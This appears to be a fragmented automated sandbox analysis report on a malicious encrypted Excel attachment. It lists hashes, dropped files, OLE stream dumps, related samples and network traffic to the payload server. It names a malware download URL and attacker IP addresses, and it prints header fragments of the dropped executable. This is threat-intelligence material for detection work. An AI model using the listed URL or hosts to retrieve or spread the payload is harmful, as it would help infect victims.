PO23419852020.xlsx Get hash malicious Browse 103.141.13
8.124

New Order .xlsx Get hash malicious Browse 103.125.191.5

Request for quotation.xlsx Get hash malicious Browse 103.141.138.87

Tyre Pricelist.xlsx Get hash malicious Browse 103.125.191.5

2eD17GZuWs.exe Get hash malicious Browse 103.125.191.5

Unique food order.xlsx Get hash malicious Browse 103.125.191.5

tt payment proof.xlsx Get hash malicious Browse 103.125.19
1.187

TIE-3735-2020.xlsx Get hash malicious Browse 103.125.19
1.229

payslip.s.xlsx Get hash malicious Browse 103.125.19
1.187

Telex-relase.xlsx Get hash malicious Browse 103.141.13
8.120

Y0L60XAhvo.rtf Get hash malicious Browse 103.141.13
8.122

d6pj421rXA.exe Get hash malicious Browse 103.139.45.59

Match Associated Sample Name / URL SHA 256 Detection Link Context

No context

No context

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\winlog[1].exe

Process: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

File Type: PE32 executable (console) Intel 80386, for MS Windows

Category: downloaded

Size (bytes): 399360

Entropy (8bit): 7.118443825865952

Encrypted: false

SSDEEP: 6144:KTitbK35IMjVfUHgRGmqX16+aMWH06dUpfCnm4995z:KT8bA5IdH4GRs+aM6cpCnm

MD5: E54D832CB872B7DC086AB7A7878D38FB

JA3 Fingerprints

Dropped Files

Created / dropped Files
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https://view.joesandbox.com/analysis/239435/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/239435/html/none?idtype=webid
https://view.joesandbox.com/analysis/238764/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/238764/html/none?idtype=webid
https://view.joesandbox.com/analysis/238716/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/238716/html/none?idtype=webid
https://view.joesandbox.com/analysis/237956/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/237956/html/none?idtype=webid
https://view.joesandbox.com/analysis/235877/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235877/html/none?idtype=webid
https://view.joesandbox.com/analysis/235529/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235529/html/none?idtype=webid
https://view.joesandbox.com/analysis/235281/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235281/html/none?idtype=webid
https://view.joesandbox.com/analysis/234912/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/234912/html/none?idtype=webid
https://view.joesandbox.com/analysis/234720/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/234720/html/none?idtype=webid
https://view.joesandbox.com/analysis/234440/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/234440/html/none?idtype=webid
https://view.joesandbox.com/analysis/233990/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/233990/html/none?idtype=webid
https://view.joesandbox.com/analysis/233869/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/233869/html/none?idtype=webid
https://view.joesandbox.com/analysis/232572/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/232572/html/none?idtype=webid
https://view.joesandbox.com/analysis/240476/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/240476/html/none?idtype=webid
https://view.joesandbox.com/analysis/240424/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/240424/html/none?idtype=webid
https://view.joesandbox.com/analysis/240422/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/240422/html/none?idtype=webid
https://view.joesandbox.com/analysis/240402/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/240402/html/none?idtype=webid
https://view.joesandbox.com/analysis/240388/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/240388/html/none?idtype=webid
https://view.joesandbox.com/analysis/240310/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/240310/html/none?idtype=webid
https://view.joesandbox.com/analysis/240306/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/240306/html/none?idtype=webid
https://view.joesandbox.com/analysis/240302/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/240302/html/none?idtype=webid
https://view.joesandbox.com/analysis/240077/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/240077/html/none?idtype=webid
https://view.joesandbox.com/analysis/239750/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/239750/html/none?idtype=webid
https://view.joesandbox.com/analysis/239454/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/239454/html/none?idtype=webid
https://view.joesandbox.com/analysis/239451/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/239451/html/none?idtype=webid
https://view.joesandbox.com/analysis/238809/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/238809/html/none?idtype=webid
https://view.joesandbox.com/analysis/238627/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/238627/html/none?idtype=webid
https://view.joesandbox.com/analysis/238622/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/238622/html/none?idtype=webid
https://view.joesandbox.com/analysis/237773/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/237773/html/none?idtype=webid
https://view.joesandbox.com/analysis/237771/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/237771/html/none?idtype=webid
https://view.joesandbox.com/analysis/237768/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/237768/html/none?idtype=webid
https://view.joesandbox.com/analysis/237065/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/237065/html/none?idtype=webid
https://view.joesandbox.com/analysis/236323/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/236323/html/none?idtype=webid


SHA1: DD865DEAFFA4558EEBEBCB83B5335DE2B0B26327

SHA-256: 06A0E3845D7B4C5593A9143EB1AE73223760D68F2ACF0E5BE631B9EEAB3675F3

SHA-512: 04A78936551DF1BF62D4B256C2A5888AF840D9F1FB1735810B1C5145AF0795C6C84E03B66754137242691AA0FFA26CEB7295D3CDC59323B939DAA8D7CB24BAC0

Malicious: true

Antivirus: Antivirus: Joe Sandbox ML, Detection: 100%
Antivirus: ReversingLabs, Detection: 31%

IE Cache URL: wsdyneverwalkachinese2loneinlifekwsfnv.ydns.eu/chnsfrnd2/winlog.exe

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$................(...9............./....8...=...Rich...........................PE..L....._..........
.......*...........5.......@....@..........................P............@..................................a...............................0......................................X\..@............@...............................text....)....
...*.................. ..`.rdata...+...@...,..................@..@.data...`(...p.......Z..............@....rsrc................x..............@..@.reloc.......0......................@..B............................................
..............................................................................................................................................................................................................................................................................
......

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\winlog[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\420BD973.emf
Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: Windows Enhanced Metafile (EMF) image data version 0x10000

Category: dropped

Size (bytes): 1099960

Entropy (8bit): 2.0152883385143165

Encrypted: false

SSDEEP: 3072:UXtr8tV3Iqf4ZdAt06J6dabLr92W2qtX2cy:SahIFdyiaT2qtXw

MD5: FE7496393B4417F687E141BAE9211775

SHA1: 507284C9227C103959A885A2F1B354E8F15FD65B

SHA-256: EEDC1AC79E6622FC37D37A9A77C05BB93615B04A1E0A340DD6819CB3BE3183E4

SHA-512: 35954EB49D67207FF452C833FB4AB34BDDD8A8F98711F6DDA006E09846EF9AF740FB1E615FEC60A13631B455274005FBAAD08D3EA521DF7AC034739B48387A71

Malicious: false

Preview:
....l...........S................@...%.. EMF........&...............................................\K..hC..F...,... ...EMF+.@..................X...X...F...\...P...EMF+"@...........@..........$@..........0@.............?
!@...........@..............................................I.......%...........%...................................R...p................................@."C.a.l.i.b.r.i.......................................................$...............
.N.U................l....N.U........ ....y.Q........ ............z.Q............................................X...%...7...................{ .@................C.a.l.i.b.r.................X............2.Q.................{.Q............dv..
....%...........%...........%...........!.......................I......."...........%...........%...........%...........T...T..........................@.E.@T...........L...............I.......P... ...6...F..........EMF+*@..$......
....?...........?.........@...........@..........*@..$..........?....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\4F78DCD8.jpeg
Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: gd-jpeg v1.0 (using IJG JPEG v80), quality = 90", baseline, precision 8, 700x990, frames 3

Category: dropped

Size (bytes): 48770

Entropy (8bit): 7.801842363879827

Encrypted: false

SSDEEP: 768:uLgWImQ6AMqTeyjskbJeYnriZvApugsiKi7iszQ2rvBZzmFz3/soBqZhsglgDQPT:uLgY4MqTeywVYr+0ugbDTzQ27A3UXsgf

MD5: AA7A56E6A97FFA9390DA10A2EC0C5805

SHA1: 200A6D7ED9F485DD5A7B9D79B596DE3ECEBD834A

SHA-256: 56B1EDECC9A282A9FAAFD95D4D9844608B1AE5CCC8731F34F8B30B3825734974

SHA-512: A532FE4C52FED46919003A96B882AE6F7C70A3197AA57BD1E6E917F766729F7C9C1261C36F082FBE891852D083EDB2B5A34B0A325B7C1D96D6E58B0BED6C5782

Malicious: false

Preview:
......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 90....C....................................................................C..................................................................
.........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz.................................................
.............................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..........................................
..........................................?..R..(...(...(......3Fh.....(....P.E.P.Gj(...(....Q@.%-...(.......P.QKE.%.........;.R.@.E-...(.......P.QKE.'jZ(...QE..........h...(...QE.&(.KE.'jZ(...QE..........h...(
...QE.&(.KE.'jZ(...QE..........h...(...QE.&(.KE.'j^.....(...(...(....w...3Fh....E......4w...h.%...................E./J)(......Z)(......Z)(....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\C23946F9.jpeg
Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: gd-jpeg v1.0 (using IJG JPEG v80), quality = 90", baseline, precision 8, 700x990, frames 3

Category: dropped

Size (bytes): 48770

Entropy (8bit): 7.801842363879827

Encrypted: false

SSDEEP: 768:uLgWImQ6AMqTeyjskbJeYnriZvApugsiKi7iszQ2rvBZzmFz3/soBqZhsglgDQPT:uLgY4MqTeywVYr+0ugbDTzQ27A3UXsgf

MD5: AA7A56E6A97FFA9390DA10A2EC0C5805

SHA1: 200A6D7ED9F485DD5A7B9D79B596DE3ECEBD834A

SHA-256: 56B1EDECC9A282A9FAAFD95D4D9844608B1AE5CCC8731F34F8B30B3825734974

SHA-512: A532FE4C52FED46919003A96B882AE6F7C70A3197AA57BD1E6E917F766729F7C9C1261C36F082FBE891852D083EDB2B5A34B0A325B7C1D96D6E58B0BED6C5782

Malicious: false
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Static File Info

General
File type: CDFV2 Encrypted

Entropy (8bit): 7.996820946995735

TrID: Generic OLE2 / Multistream Compound File 
(8008/1) 100.00%

File name: PI202009255687.xlsx

File size: 2625536

MD5: d7c0c12c1cdf36e9f97f96cb3fe16ae0

SHA1: e73e8bd48f5ef68747de444e44d59745cb75b08a

SHA256: 76b2d9b4655b8a349e1b5c7bf05ac5bb22bea988bc818e
46756b17d7e22a37d1

SHA512: 1032c3abfa95c26c00c42b5bba0ef6bfd565b9391a255f7
eb36f5edee271a46fac0e1a707c23a5820a307a76c4773a
8b74f0f15efa2c594d6d79e953c52d5a7b

SSDEEP: 49152:AP4hSHH7IZl2QU0sAYEr36zvNe3j4qJ8rymPgoj
JYm493N9STtxX2LoQlByCQ:e4hoIb2Q3vugj4qCrym9tc
1ufiO

Preview:
......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 90....C....................................................................C..................................................................
.........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz.................................................
.............................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..........................................
..........................................?..R..(...(...(......3Fh.....(....P.E.P.Gj(...(....Q@.%-...(.......P.QKE.%.........;.R.@.E-...(.......P.QKE.'jZ(...QE..........h...(...QE.&(.KE.'jZ(...QE..........h...(
...QE.&(.KE.'jZ(...QE..........h...(...QE.&(.KE.'j^.....(...(...(....w...3Fh....E......4w...h.%...................E./J)(......Z)(......Z)(....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\C23946F9.jpeg

C:\Users\user\Desktop\~$PI202009255687.xlsx

Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: data

Category: dropped

Size (bytes): 330

Entropy (8bit): 1.4377382811115937

Encrypted: false

SSDEEP: 3:vZ/FFDJw2fj/FFDJw2fV:vBFFGaFFGS

MD5: 96114D75E30EBD26B572C1FC83D1D02E

SHA1: A44EEBDA5EB09862AC46346227F06F8CFAF19407

SHA-256: 0C6F8CF0E504C17073E4C614C8A7063F194E335D840611EEFA9E29C7CED1A523

SHA-512: 52D33C36DF2A91E63A9B1949FDC5D69E6A3610CD3855A2E3FC25017BF0A12717FC15EB8AC6113DC7D69C06AD4A83FAF0F021AD7C8D30600AA8168348BD0FA9E
0

Malicious: true

Preview:
.user                                                 ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..user                                                 ..A.l.b.u.s. . . . . . . . . . . 
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C:\Users\Public\vbc.exe

Process: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

File Type: PE32 executable (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 399360

Entropy (8bit): 7.118443825865952

Encrypted: false

SSDEEP: 6144:KTitbK35IMjVfUHgRGmqX16+aMWH06dUpfCnm4995z:KT8bA5IdH4GRs+aM6cpCnm

MD5: E54D832CB872B7DC086AB7A7878D38FB

SHA1: DD865DEAFFA4558EEBEBCB83B5335DE2B0B26327

SHA-256: 06A0E3845D7B4C5593A9143EB1AE73223760D68F2ACF0E5BE631B9EEAB3675F3

SHA-512: 04A78936551DF1BF62D4B256C2A5888AF840D9F1FB1735810B1C5145AF0795C6C84E03B66754137242691AA0FFA26CEB7295D3CDC59323B939DAA8D7CB24BAC0

Malicious: true

Antivirus: Antivirus: Joe Sandbox ML, Detection: 100%
Antivirus: ReversingLabs, Detection: 31%

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$................(...9............./....8...=...Rich...........................PE..L....._..........
.......*...........5.......@....@..........................P............@..................................a...............................0......................................X\..@............@...............................text....)....
...*.................. ..`.rdata...+...@...,..................@..@.data...`(...p.......Z..............@....rsrc................x..............@..@.reloc.......0......................@..B............................................
..............................................................................................................................................................................................................................................................................
......
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File Content Preview: ........................>...................)...........................................
................................................~...............z.......|.......~.....
..........z.......|.......~...............z.......|.......~......................

General

File Icon

Icon Hash: e4e2aa8aa4b4bcb4

General
Document Type: OLE

Number of OLE Files: 1

Indicators
Has Summary Info: False

Application Name: unknown

Encrypted Document: True

Contains Word Document Stream: False

Contains Workbook/Book Stream: False

Contains PowerPoint Document Stream: False

Contains Visio Document Stream: False

Contains ObjectPool Stream:

Flash Objects Count:

Contains VBA Macros: False

General

Stream Path: \x6DataSpaces/DataSpaceInfo/StrongEncryptionDataSpace

File Type: data

Stream Size: 64

Entropy: 2.73637206947

Base64 Encoded: False

Data ASCII: . . . . . . . . 2 . . . S . t . r . o . n . g . E . n . c . r . y . p . t . i . o . n . T . r . a . n . s . f . o . r . m . . . 

Data Raw: 08 00 00 00 01 00 00 00 32 00 00 00 53 00 74 00 72 00 6f 00 6e 00 67 00 45 00 6e 00 63 00 
72 00 79 00 70 00 74 00 69 00 6f 00 6e 00 54 00 72 00 61 00 6e 00 73 00 66 00 6f 00 72 00 
6d 00 00 00 

General

Stream Path: \x6DataSpaces/DataSpaceMap

File Type: data

Stream Size: 112

Entropy: 2.7597816111

Base64 Encoded: False

Data ASCII: . . . . . . . . h . . . . . . . . . . .   . . . E . n . c . r . y . p . t . e . d . P . a . c . k . a . g . e . 2 . . . S . t . r . o
. n . g . E . n . c . r . y . p . t . i . o . n . D . a . t . a . S . p . a . c . e . . . 

Data Raw: 08 00 00 00 01 00 00 00 68 00 00 00 01 00 00 00 00 00 00 00 20 00 00 00 45 00 6e 00 63 00 
72 00 79 00 70 00 74 00 65 00 64 00 50 00 61 00 63 00 6b 00 61 00 67 00 65 00 32 00 00 00 
53 00 74 00 72 00 6f 00 6e 00 67 00 45 00 6e 00 63 00 72 00 79 00 70 00 74 00 69 00 6f 00 
6e 00 44 00 61 00 74 00 61 00 53 00 70 00 61 00 63 00 65 00 00 00 

General

Stream Path: \x6DataSpaces/TransformInfo/StrongEncryptionTransform/\x6Primary

File Type: data

Stream Size: 200

Entropy: 3.13335930328

Static OLE Info

OLE File "PI202009255687.xlsx"

Streams

Stream Path: \x6DataSpaces/DataSpaceInfo/StrongEncryptionDataSpace, File Type: data, Stream Size: 64

Stream Path: \x6DataSpaces/DataSpaceMap, File Type: data, Stream Size: 112

Stream Path: \x6DataSpaces/TransformInfo/StrongEncryptionTransform/\x6Primary, File Type: data, Stream Size:
200
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Snort IDS Alerts

Base64 Encoded: False

Data ASCII: X . . . . . . . L . . . { . F . F . 9 . A . 3 . F . 0 . 3 . - . 5 . 6 . E . F . - . 4 . 6 . 1 . 3 . - . B . D . D . 5 . - . 
5 . A . 4 . 1 . C . 1 . D . 0 . 7 . 2 . 4 . 6 . } . N . . . M . i . c . r . o . s . o . f . t . . . C . o . n . t . a . i . n
. e . r . . . E . n . c . r . y . p . t . i . o . n . T . r . a . n . s . f . o . r . m . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . 

Data Raw: 58 00 00 00 01 00 00 00 4c 00 00 00 7b 00 46 00 46 00 39 00 41 00 33 00 46 00 30 00 33 00 
2d 00 35 00 36 00 45 00 46 00 2d 00 34 00 36 00 31 00 33 00 2d 00 42 00 44 00 44 00 35 00 
2d 00 35 00 41 00 34 00 31 00 43 00 31 00 44 00 30 00 37 00 32 00 34 00 36 00 7d 00 4e 00 
00 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 2e 00 43 00 6f 00 6e 00 74 00 61 
00 69 00 6e 00 65 00 

General

General

Stream Path: \x6DataSpaces/Version

File Type: data

Stream Size: 76

Entropy: 2.79079600998

Base64 Encoded: False

Data ASCII: < . . . M . i . c . r . o . s . o . f . t . . . C . o . n . t . a . i . n . e . r . . . D . a . t . a . S . p . a . c . e . s . .
. . . . . . . . . . . 

Data Raw: 3c 00 00 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 2e 00 43 00 6f 00 6e 00 74 
00 61 00 69 00 6e 00 65 00 72 00 2e 00 44 00 61 00 74 00 61 00 53 00 70 00 61 00 63 00 65 
00 73 00 01 00 00 00 01 00 00 00 01 00 00 00 

General

Stream Path: EncryptedPackage

File Type: COM executable for DOS

Stream Size: 2600648

Entropy: 7.99992874048

Base64 Encoded: True

Data ASCII: . . ' . . . . . . . ; . . . . [ + . . . . . . . j . % H . s . . . . . k . . S . - . . q . c x r . . ) . . Q . . . \\ S j . . . g @ . . .
f . . ? c < 2 . . . . . o 9 B . . 1 . . c < 2 . . . . . o 9 B . . 1 . . c < 2 . . . . . o 9 B . . 1 . . c < 2 . . . . . o 9 
B . . 1 . . c < 2 . . . . . o 9 B . . 1 . . c < 2 . . . . . o 9 B . . 1 . . c < 2 . . . . . o 9 B . . 1 . . c < 2 . . . . . 
o 9 B . . 1 . . c < 2 . . . . . o 9 B . . 1 . . c < 2 . . . . . o 9 B . . 1 . . c < 2 . . . . . o 9 B . . 1 . . c < 2 . . .
. . 

Data Raw: b8 ae 27 00 00 00 00 00 06 85 3b c0 af 0d 83 5b 2b bc 06 da c3 a0 1e f9 6a c0 25 48 0f 73 dc 
cc dc f2 95 6b fb fb 53 c6 2d 87 eb 71 95 63 78 72 fb 0e 29 e4 15 51 a0 86 08 5c 53 6a 9f 90 
fc 67 40 0c b9 8f 66 f1 94 3f 63 3c 32 d7 d3 8e 97 99 6f 39 42 f7 a3 31 c7 92 63 3c 32 d7 d3 
8e 97 99 6f 39 42 f7 a3 31 c7 92 63 3c 32 d7 d3 8e 97 99 6f 39 42 f7 a3 31 c7 92 63 3c 32 d7 
d3 8e 97 99 

General

Stream Path: EncryptionInfo

File Type: data

Stream Size: 224

Entropy: 4.51425494201

Base64 Encoded: False

Data ASCII: . . . . $ . . . . . . . $ . . . . . . . . f . . . . . . . . . . . . . . . . . . . . . . M . i . c . r . o . s . o . f . t .   . E . n . h . a
. n . c . e . d .   . R . S . A .   . a . n . d .   . A . E . S .   . C . r . y . p . t . o . g . r . a . p . h . i . c .   . 
P . r . o . v . i . d . e . r . . . . . . . . . . . . M . o . $ . ' . & . . . A g . . . . . / . u . . . . 2 . . . . . . $ p . t k . . .
. . ( . . P . . . . . . . u . T . + F . . . 

Data Raw: 04 00 02 00 24 00 00 00 8c 00 00 00 24 00 00 00 00 00 00 00 0e 66 00 00 04 80 00 00 80 00 
00 00 18 00 00 00 00 00 00 00 00 00 00 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 
74 00 20 00 45 00 6e 00 68 00 61 00 6e 00 63 00 65 00 64 00 20 00 52 00 53 00 41 00 20 00 
61 00 6e 00 64 00 20 00 41 00 45 00 53 00 20 00 43 00 72 00 79 00 70 00 74 00 6f 00 67 00 
72 00 61 00 70 00 68 00 

Network Behavior

Stream Path: \x6DataSpaces/Version, File Type: data, Stream Size: 76

Stream Path: EncryptedPackage, File Type: COM executable for DOS, Stream Size: 2600648

Stream Path: EncryptionInfo, File Type: data, Stream Size: 224
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Network Port Distribution

Total Packets: 38

• 53 (DNS)

• 80 (HTTP)

Timestamp Protocol SID Message
Source
Port

Dest
Port Source IP Dest IP

11/26/20-
09:01:24.634313

TCP 1201 ATTACK-RESPONSES 403 Forbidden 80 49168 34.102.136.180 192.168.2.22

Timestamp Source Port Dest Port Source IP Dest IP

Nov 26, 2020 09:00:23.357465029 CET 49167 80 192.168.2.22 103.141.138.87

Nov 26, 2020 09:00:23.581357002 CET 80 49167 103.141.138.87 192.168.2.22

Nov 26, 2020 09:00:23.581557035 CET 49167 80 192.168.2.22 103.141.138.87

Nov 26, 2020 09:00:23.581810951 CET 49167 80 192.168.2.22 103.141.138.87

Nov 26, 2020 09:00:23.805932999 CET 80 49167 103.141.138.87 192.168.2.22

Nov 26, 2020 09:00:23.806014061 CET 80 49167 103.141.138.87 192.168.2.22

Nov 26, 2020 09:00:23.806057930 CET 80 49167 103.141.138.87 192.168.2.22

Nov 26, 2020 09:00:23.806096077 CET 80 49167 103.141.138.87 192.168.2.22

Nov 26, 2020 09:00:23.806238890 CET 49167 80 192.168.2.22 103.141.138.87

Nov 26, 2020 09:00:23.806289911 CET 49167 80 192.168.2.22 103.141.138.87

Nov 26, 2020 09:00:24.028904915 CET 80 49167 103.141.138.87 192.168.2.22

Nov 26, 2020 09:00:24.028935909 CET 80 49167 103.141.138.87 192.168.2.22

Nov 26, 2020 09:00:24.028947115 CET 80 49167 103.141.138.87 192.168.2.22

Nov 26, 2020 09:00:24.028958082 CET 80 49167 103.141.138.87 192.168.2.22

Nov 26, 2020 09:00:24.028969049 CET 80 49167 103.141.138.87 192.168.2.22

Nov 26, 2020 09:00:24.028980017 CET 80 49167 103.141.138.87 192.168.2.22

Nov 26, 2020 09:00:24.028990984 CET 80 49167 103.141.138.87 192.168.2.22

Nov 26, 2020 09:00:24.029001951 CET 80 49167 103.141.138.87 192.168.2.22

Nov 26, 2020 09:00:24.029870987 CET 49167 80 192.168.2.22 103.141.138.87

Nov 26, 2020 09:00:24.252491951 CET 80 49167 103.141.138.87 192.168.2.22

Nov 26, 2020 09:00:24.252542019 CET 80 49167 103.141.138.87 192.168.2.22

Nov 26, 2020 09:00:24.252557039 CET 80 49167 103.141.138.87 192.168.2.22

Nov 26, 2020 09:00:24.252572060 CET 80 49167 103.141.138.87 192.168.2.22

Nov 26, 2020 09:00:24.252585888 CET 80 49167 103.141.138.87 192.168.2.22

Nov 26, 2020 09:00:24.252599955 CET 80 49167 103.141.138.87 192.168.2.22

Nov 26, 2020 09:00:24.252614021 CET 80 49167 103.141.138.87 192.168.2.22

Nov 26, 2020 09:00:24.252638102 CET 80 49167 103.141.138.87 192.168.2.22

Nov 26, 2020 09:00:24.252652884 CET 80 49167 103.141.138.87 192.168.2.22

Nov 26, 2020 09:00:24.252672911 CET 80 49167 103.141.138.87 192.168.2.22

Nov 26, 2020 09:00:24.252692938 CET 80 49167 103.141.138.87 192.168.2.22

Nov 26, 2020 09:00:24.252715111 CET 80 49167 103.141.138.87 192.168.2.22

Nov 26, 2020 09:00:24.252813101 CET 49167 80 192.168.2.22 103.141.138.87

Nov 26, 2020 09:00:24.252854109 CET 49167 80 192.168.2.22 103.141.138.87

Nov 26, 2020 09:00:24.257903099 CET 49167 80 192.168.2.22 103.141.138.87

Nov 26, 2020 09:00:24.475923061 CET 80 49167 103.141.138.87 192.168.2.22

Nov 26, 2020 09:00:24.475954056 CET 80 49167 103.141.138.87 192.168.2.22

Nov 26, 2020 09:00:24.475975037 CET 80 49167 103.141.138.87 192.168.2.22

Nov 26, 2020 09:00:24.475996017 CET 80 49167 103.141.138.87 192.168.2.22

TCP Packets
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Nov 26, 2020 09:00:24.476015091 CET 80 49167 103.141.138.87 192.168.2.22

Nov 26, 2020 09:00:24.476033926 CET 80 49167 103.141.138.87 192.168.2.22

Nov 26, 2020 09:00:24.476052999 CET 80 49167 103.141.138.87 192.168.2.22

Nov 26, 2020 09:00:24.476078033 CET 80 49167 103.141.138.87 192.168.2.22

Nov 26, 2020 09:00:24.476099968 CET 80 49167 103.141.138.87 192.168.2.22

Nov 26, 2020 09:00:24.476119995 CET 80 49167 103.141.138.87 192.168.2.22

Nov 26, 2020 09:00:24.476135015 CET 80 49167 103.141.138.87 192.168.2.22

Nov 26, 2020 09:00:24.476150036 CET 80 49167 103.141.138.87 192.168.2.22

Nov 26, 2020 09:00:24.476170063 CET 80 49167 103.141.138.87 192.168.2.22

Nov 26, 2020 09:00:24.476274967 CET 49167 80 192.168.2.22 103.141.138.87

Nov 26, 2020 09:00:24.476324081 CET 49167 80 192.168.2.22 103.141.138.87

Nov 26, 2020 09:00:24.476330996 CET 49167 80 192.168.2.22 103.141.138.87

Nov 26, 2020 09:00:24.477031946 CET 80 49167 103.141.138.87 192.168.2.22

Nov 26, 2020 09:00:24.477054119 CET 80 49167 103.141.138.87 192.168.2.22

Nov 26, 2020 09:00:24.477075100 CET 80 49167 103.141.138.87 192.168.2.22

Nov 26, 2020 09:00:24.477093935 CET 80 49167 103.141.138.87 192.168.2.22

Nov 26, 2020 09:00:24.477116108 CET 80 49167 103.141.138.87 192.168.2.22

Nov 26, 2020 09:00:24.477124929 CET 49167 80 192.168.2.22 103.141.138.87

Nov 26, 2020 09:00:24.477135897 CET 80 49167 103.141.138.87 192.168.2.22

Nov 26, 2020 09:00:24.477143049 CET 49167 80 192.168.2.22 103.141.138.87

Nov 26, 2020 09:00:24.477169037 CET 49167 80 192.168.2.22 103.141.138.87

Nov 26, 2020 09:00:24.477215052 CET 49167 80 192.168.2.22 103.141.138.87

Nov 26, 2020 09:00:24.480289936 CET 49167 80 192.168.2.22 103.141.138.87

Nov 26, 2020 09:00:24.698900938 CET 80 49167 103.141.138.87 192.168.2.22

Nov 26, 2020 09:00:24.698960066 CET 80 49167 103.141.138.87 192.168.2.22

Nov 26, 2020 09:00:24.698998928 CET 80 49167 103.141.138.87 192.168.2.22

Nov 26, 2020 09:00:24.699037075 CET 80 49167 103.141.138.87 192.168.2.22

Nov 26, 2020 09:00:24.699074984 CET 80 49167 103.141.138.87 192.168.2.22

Nov 26, 2020 09:00:24.699120998 CET 80 49167 103.141.138.87 192.168.2.22

Nov 26, 2020 09:00:24.699167967 CET 80 49167 103.141.138.87 192.168.2.22

Nov 26, 2020 09:00:24.699207067 CET 80 49167 103.141.138.87 192.168.2.22

Nov 26, 2020 09:00:24.699219942 CET 49167 80 192.168.2.22 103.141.138.87

Nov 26, 2020 09:00:24.699245930 CET 80 49167 103.141.138.87 192.168.2.22

Nov 26, 2020 09:00:24.699254990 CET 49167 80 192.168.2.22 103.141.138.87

Nov 26, 2020 09:00:24.699260950 CET 49167 80 192.168.2.22 103.141.138.87

Nov 26, 2020 09:00:24.699265003 CET 49167 80 192.168.2.22 103.141.138.87

Nov 26, 2020 09:00:24.699285984 CET 80 49167 103.141.138.87 192.168.2.22

Nov 26, 2020 09:00:24.699299097 CET 49167 80 192.168.2.22 103.141.138.87

Nov 26, 2020 09:00:24.699323893 CET 80 49167 103.141.138.87 192.168.2.22

Nov 26, 2020 09:00:24.699353933 CET 49167 80 192.168.2.22 103.141.138.87

Nov 26, 2020 09:00:24.699362993 CET 80 49167 103.141.138.87 192.168.2.22

Nov 26, 2020 09:00:24.699368000 CET 49167 80 192.168.2.22 103.141.138.87

Nov 26, 2020 09:00:24.699400902 CET 80 49167 103.141.138.87 192.168.2.22

Nov 26, 2020 09:00:24.699424028 CET 49167 80 192.168.2.22 103.141.138.87

Nov 26, 2020 09:00:24.699450016 CET 80 49167 103.141.138.87 192.168.2.22

Nov 26, 2020 09:00:24.699461937 CET 49167 80 192.168.2.22 103.141.138.87

Nov 26, 2020 09:00:24.699492931 CET 80 49167 103.141.138.87 192.168.2.22

Nov 26, 2020 09:00:24.699512959 CET 49167 80 192.168.2.22 103.141.138.87

